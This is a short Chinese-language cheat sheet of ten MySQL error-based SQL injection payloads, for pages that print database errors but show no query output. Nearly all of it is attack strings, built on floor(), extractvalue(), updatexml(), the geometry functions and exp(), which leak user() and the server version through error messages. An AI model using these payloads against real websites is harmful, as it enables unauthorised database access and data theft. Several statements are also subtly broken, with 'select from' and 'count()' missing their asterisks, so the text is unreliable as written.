报错注入主要用于在页面中没有显示位,但是使用了echo mysql_error();输出了错误信息时使用。


    十种MySQL报错注入

    1. floor()
      常用报错注入方法之一
      数据库语句:select from test where id=1 and (select 1 from (select count(),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2. extractvalue()
      常用报错注入方法之一
      mysql5.1.5开始可用
      数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    3. updatexml()
      常用报错注入方法之一
      mysql5.1.5开始可用
      数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    4. geometrycollection()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and geometrycollection((select from(select * from(select user())a)b));

    5. multipoint()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and multipoint((select from(select * from(select user())a)b));

    6. polygon()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and polygon((select from(select * from(select user())a)b));

    7. multipolygon()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and multipolygon((select from(select * from(select user())a)b));

    8. linestring()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and linestring((select from(select * from(select user())a)b));

    9. multilinestring()
      几何函数-版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and multilinestring((select from(select * from(select user())a)b));

    10. exp()
      版本-5.5.47可以用来注入,5.5.53不行
      数据库语句:select from test where id=1 and exp(~(select from(select user())a));